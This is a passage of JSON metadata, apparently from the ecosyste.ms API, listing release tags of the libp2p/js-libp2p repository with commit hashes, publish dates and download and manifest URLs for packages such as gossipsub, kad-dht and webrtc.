ping-v3.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.8/manifests"},{"name":"perf-v5.1.8","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.1.8","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.8/manifests"},{"name":"peer-store-v12.0.23","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-store-v12.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-store-v12.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.23/manifests"},{"name":"peer-record-v9.0.13","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-record-v9.0.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-record-v9.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-record-v9.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.13/manifests"},{"name":"peer-id-v6.0.12","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-id-v6.0.12","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-id-v6.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-id-v6.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.12/manifests"},{"name":"peer-collections-v7.0.23","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-collections-v7.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-collections-v7.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-collections-v7.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.23/manifests"},{"name":"opentelemetry-metrics-v2.0.24","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/opentelemetry-metrics-v2.0.24","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/opentelemetry-metrics-v2.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@opentelemetry-metrics-v2.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.24/manifests"},{"name":"multistream-select-v7.0.23","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/multistream-select-v7.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/multistream-select-v7.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@multistream-select-v7.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.23/manifests"},{"name":"mplex-v12.0.26","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.26/manifests"},{"name":"memory-v2.0.23","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/memory-v2.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/memory-v2.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@memory-v2.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.23/manifests"},{"name":"mdns-v12.0.26","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.26/manifests"},{"name":"logger-v6.2.10","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/logger-v6.2.10","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/logger-v6.2.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@logger-v6.2.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.10/manifests"},{"name":"libp2p-v3.3.5","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.3.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.5/manifests"},{"name":"keychain-v6.1.4","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/keychain-v6.1.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/keychain-v6.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@keychain-v6.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.4/manifests"},{"name":"kad-dht-v16.3.4","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.3.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.3.4/manifests"},{"name":"interop-v14.0.31","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.31/manifests"},{"name":"interface-v3.2.5","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-v3.2.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-v3.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-v3.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-v3.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-v3.2.5/manifests"},{"name":"interface-internal-v3.1.8","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-internal-v3.1.8","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-internal-v3.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-internal-v3.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.8/manifests"},{"name":"interface-compliance-tests-v7.0.26","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.26/manifests"},{"name":"integration-tests-v1.2.15","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.15/manifests"},{"name":"identify-v4.1.9","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/identify-v4.1.9","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/identify-v4.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@identify-v4.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.9/manifests"},{"name":"gossipsub-v16.0.4","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v16.0.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v16.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v16.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v16.0.4/manifests"},{"name":"floodsub-v11.0.25","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/floodsub-v11.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/floodsub-v11.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@floodsub-v11.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.25/manifests"},{"name":"fetch-v4.1.8","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/fetch-v4.1.8","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/fetch-v4.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@fetch-v4.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.8/manifests"},{"name":"echo-v3.1.8","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/echo-v3.1.8","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/echo-v3.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@echo-v3.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.8/manifests"},{"name":"dcutr-v3.0.23","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/dcutr-v3.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/dcutr-v3.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@dcutr-v3.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.23/manifests"},{"name":"daemon-v6.0.31","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.31/manifests"},{"name":"daemon-server-v9.0.31","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.31/manifests"},{"name":"daemon-protocol-v8.0.10","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-protocol-v8.0.10","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-protocol-v8.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-protocol-v8.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-protocol-v8.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-protocol-v8.0.10/manifests"},{"name":"daemon-client-v10.0.31","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.31/manifests"},{"name":"crypto-v5.1.21","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/crypto-v5.1.21","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/crypto-v5.1.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@crypto-v5.1.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.21/manifests"},{"name":"config-v1.1.34","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/config-v1.1.34","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/config-v1.1.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@config-v1.1.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.34/manifests"},{"name":"circuit-relay-v2-v4.2.8","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/circuit-relay-v2-v4.2.8","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/circuit-relay-v2-v4.2.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@circuit-relay-v2-v4.2.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.8/manifests"},{"name":"bootstrap-v12.0.26","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.26/manifests"},{"name":"autonat-v3.0.23","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v3.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v3.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v3.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.23/manifests"},{"name":"autonat-v2-v2.0.23","sha":"66e022d053da39b2dba11f90158c046f84299488","kind":"commit","published_at":"2026-07-07T12:59:44.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v2-v2.0.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v2-v2.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v2-v2.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.0.23/manifests"},{"name":"webtransport-v6.0.30","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.30/manifests"},{"name":"websockets-v10.1.15","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/websockets-v10.1.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/websockets-v10.1.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@websockets-v10.1.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.15/manifests"},{"name":"webrtc-v6.0.25","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.0.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.25/manifests"},{"name":"utils-v7.2.3","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/utils-v7.2.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/utils-v7.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@utils-v7.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.2.3/manifests"},{"name":"upnp-nat-v4.0.22","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/upnp-nat-v4.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/upnp-nat-v4.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@upnp-nat-v4.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.22/manifests"},{"name":"transport-interop-libp2p-main-v1.0.31","sha":"0109b50d818cde676d5ea0ab0d227bfc7eb08733","kind":"commit","published_at":"2026-06-13T21:25:00.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.31/manifests"},{"